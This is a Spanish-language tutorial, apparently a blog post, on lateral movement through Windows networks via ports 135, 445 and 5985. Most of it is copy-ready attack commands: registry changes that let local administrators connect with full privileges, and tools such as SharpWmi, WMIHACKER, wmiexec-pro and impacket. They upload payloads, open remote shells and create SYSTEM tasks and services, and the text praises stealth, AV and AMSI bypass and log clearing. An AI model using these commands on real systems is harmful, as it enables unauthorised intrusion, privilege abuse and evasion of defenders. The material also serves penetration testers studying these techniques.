Movimiento lateral en redes internas mediante los puertos 135, 445 y 5985

Directiva LocalAccountTokenFilterPolicy

Durante el movimiento lateral en un entorno de grupo de trabajo, existe una diferencia al intentar establecer una conexión remota con la cuenta administrator frente a otros usuarios miembros del grupo de administradores. Esto se debe a la LocalAccountTokenFilterPolicy. A partir de Windows Vista, el registro del sistema no incluye esta clave por defecto. Por lo tanto, cuando administrator se conecta, recibe un token con privilegios administrativos. En cambio, si otro usuario administrador local realiza la conexión, obtiene un token sin dichos privilegios, resultendo en un error de permisos insuficientes.

Este comportamiento no aplica en entornos de dominio; cualquier administrador del dominio puede establecer una conexión con permisos elevados.

Manipulación del registro

Para verificar la existencia de la clave, se puede ejecutar:

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy

Para permitir que otros administradores locales se conecten con privilegios, se agrega la clave:

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

Para revertir el cambio y eliminar la clave:

reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /f

Puerto 135

WMIC

Descripción

WMIC (Línea de comandos de Instrumental de administración de Windows) es una herramienta de línea de comandos para la administración. Permite gestionar tanto el equipo local como cualquier equipo remoto dentro de la misma red (con los permisos adecuados), sin necesidad de que el equipo remoto tenga instalado WMIC. Este componente está disponible desde Windows 98.

Características

Durante su ejecución, el sistema operativo no suele registrar las operaciones de WMIC en los logs, lo que facilita su uso discreto. Esto ha llevado a que los atacantes lo prefieran sobre herramientas como psexec o smbexec.

Condiciones de uso

Requiere que el puerto 135 esté abierto. Sin embargo, algunas implementaciones como wmicexec.py de impacket también necesitan el puerto 445 y el recurso compartido admin$ para devolver la salida de los comandos a través de SMB.

SharpWmi

Es una herramienta para movimiento lateral basada en el puerto 135, que permite ejecutar comandos y subir archivos. Funciona ejecutando comandos a través de WMI, guardando el resultado en el registro y luego leyéndolo. Para la subida de archivos, escribe los datos en el registro y utiliza PowerShell para trasladarlos a un archivo local.

Ventajas:
Solo depende del puerto 135 (no requiere 139/445).

Desventajas:
Límite de archivo de 512 KB (tamaño máximo por valor de registro).
La ejecución de comandos y subida de archivos usan PowerShell, lo que puede ser detectado por antivirus.

Ejemplo de uso

Ejecución de comandos:

sharpwmi.exe 10.0.0.24 admin1 password1 cmd ipconfig

Subida de archivos:

sharpwmi.exe 10.0.0.24 admin1 password1 upload payload.exe "C:\payload.exe"

Existen versiones modificadas que soportan ejecución en lote.

WMIHACKER

Herramienta que ofrece ejecución de comandos, subida y descarga de archivos utilizando únicamente el puerto 135.

Ejemplo de uso

Ejecución con respuesta:

cscript WMIHACKER.vbs /cmd 10.0.0.24 admin1 "netstat -an" 1

Ejecución sin respuesta (escribe en archivo):

cscript WMIHACKER.vbs /cmd 10.0.0.24 admin1 "whoami > C:\output.txt" 0
cscript WMIHACKER.vbs /cmd 10.0.0.24 admin1 "type C:\output.txt" 1

Modo shell (no es interactivo):

cscript WMIHACKER.vbs /shell 10.0.0.24 admin1

Subida de archivos:

cscript WMIHACKER.vbs /upload 10.0.0.24 admin1 "local.txt" "C:\remote.txt"

wmiexec-pro

Nueva generación de la herramienta wmiexec.py. Opera completamente a través del puerto 135 sin necesidad de conexiones SMB, lo que ayuda a evadir soluciones antivirus. Emplea clases WMI personalizadas en lugar del registro para la transferencia de datos.

Características principales:
- Evasión de AV
- No depende de win32_process
- Requiere solo el puerto 135
- Incluye bypass de AMSI
- Transferencia de archivos
- Habilitación remota de RDP y WinRM sin tocar CMD
- Abuso del firewall de Windows
- Limpieza cíclica de logs de eventos
- Gestión de servicios
- Secuestro de RID

Ejemplo de uso

Obtener un shell:

python3 wmiexec-pro.py admin1:password1@10.0.0.24 exec-command -shell

Ejecutar un comando único:

python3 wmiexec-pro.py admin1:password1@10.0.0.24 exec-command -command "tasklist"

Puerto 445

Recurso compartido IPC$

IPC$ es un recurso que permite la comunicación interprocesos a través de tuberías con nombre. Proporciona un canal seguro para el intercambio de datos cifrados cuando se presentan credenciales válidas. En sistemas Windows 2000/NT, esta característica está habilitada y también están abiertos los recursos compartidos lógicos (C$, D$, etc.) y el directorio del sistema (admin$), accesibles solo por administradores.

Comandos útiles:
net use \\10.0.0.24\ipc$ /u:"admin1" password1
net use \\10.0.0.24\ipc$ /delete
dir \\10.0.0.24\c$\windows
net time \\10.0.0.24

Técnicas de uso

Planificación de tareas (schtasks):

schtasks /create /s 10.0.0.24 /tn updatetask /sc MINUTE /mo 30 /tr "C:\update.exe" /ru system /f /U admin1 /P password1
schtasks /run /s 10.0.0.24 /i /tn "updatetask" /U admin1 /P password1
schtasks /delete /s 10.0.0.24 /tn "updatetask" /f /U admin1 /P password1

Servicios (sc):

sc \\10.0.0.24 create newsvc binpath= "C:\service.exe"
sc \\10.0.0.24 start newsvc
sc \\10.0.0.24 delete newsvc

atexec.py

Script de impacket que utiliza el servicio de planificación de tareas para ejecutar comandos en el objetivo. Requiere el recurso compartido IPC$.

atexec.py admin1:password1@10.0.0.24 "ipconfig"

psexec

Principio de funcionamiento: sube un binario al directorio C:\Windows del objetivo, crea un servicio para ejecutarlo, y finalmente elimina tanto el servicio como el binario. Esto genera registros en el log del sistema. Puede ser detectado por antivirus.

Condiciones de uso

Requiere el puerto 445 y el recurso compartido admin$ (o C$ en implementaciones de impacket).

psexec.py

psexec.py admin1:password1@10.0.0.24

PSEXEC.EXE oficial

Utiliza un nombre fijo para el binario (PSEXESVC.exe) y el servicio (PSEXESVC).

psexec.exe \\10.0.0.24 -u admin1 -p password1 -s cmd.exe

smbexec.py

Herramienta similar a psexec que crea un servicio remoto para ejecutar comandos a través de un archivo batch temporal. La salida se escribe en un archivo que se lee posteriormente.

smbexec.py admin1:password1@10.0.0.24

Puerto 5985

WinRM

WinRM (Windows Remote Management) es un servicio de administración remota basado en web. Su puerto predeterminado es 5985 (HTTP) o 5986 (HTTPS). En entornos de dominio se puede usar 5985; en grupos de trabajo, se requiere HTTPS (5986). El servicio se activa automáticamente en Windows Server 2012 y superiorse. Puede eludir reglas de firewall que bloqueen RDP, ya que el firewall suele permitir 5985/5986. La conexión respeta la política LocalAccountTokenFilterPolicy.

Configuración y comandos

Habilitar WinRM rápidamente:

Enable-PSRemoting -force
winrm quickconfig -q

Verificar la configuración:

winrm enumerate winrm/config/listener
winrm get winrm/config

Configurar para permitir conexiones no cifradas (solo para pruebas):

winrm set winrm/config/service '@{AllowUnencrypted="true"}'

Restringir hosts confiables:

winrm set winrm/config/Client '@{TrustedHosts="10.0.0.*"}'

Ejecución de comandos

Vía WMI:

winrm invoke create wmicimv2/win32_process -SkipCAcheck -skipCNcheck '@{commandline="whoami"}'

Conexión remota

Usando winrs:

winrs -r:http://10.0.0.24:5985 -u:admin1 -p:password1 cmd

Usando sesiones de PowerShell:

New-PSSession -Name session1 -ComputerName 10.0.0.24 -Credential admin1
Enter-PSSession -Name session1

Conexión mediante Python

Configuración del servidor WinRM (requiere autenticación básica y datos no cifrados permitidos para pruebas):

winrm set winrm/config/service/auth '@{Basic="true"}'
winrm set winrm/config/service '@{AllowUnencrypted="true"}'

Script de cliente con la librería pywinrm:

import winrm
obj = winrm.Session('http://10.0.0.24:5985/wsman', auth=('admin1', 'password1'))
result = obj.run_cmd('dir')
print(result.std_out.decode('latin-1'))

Etiquetas: WMI WinRM IPC$ Puerto135 Puerto445

Publicado el 7-3 04:08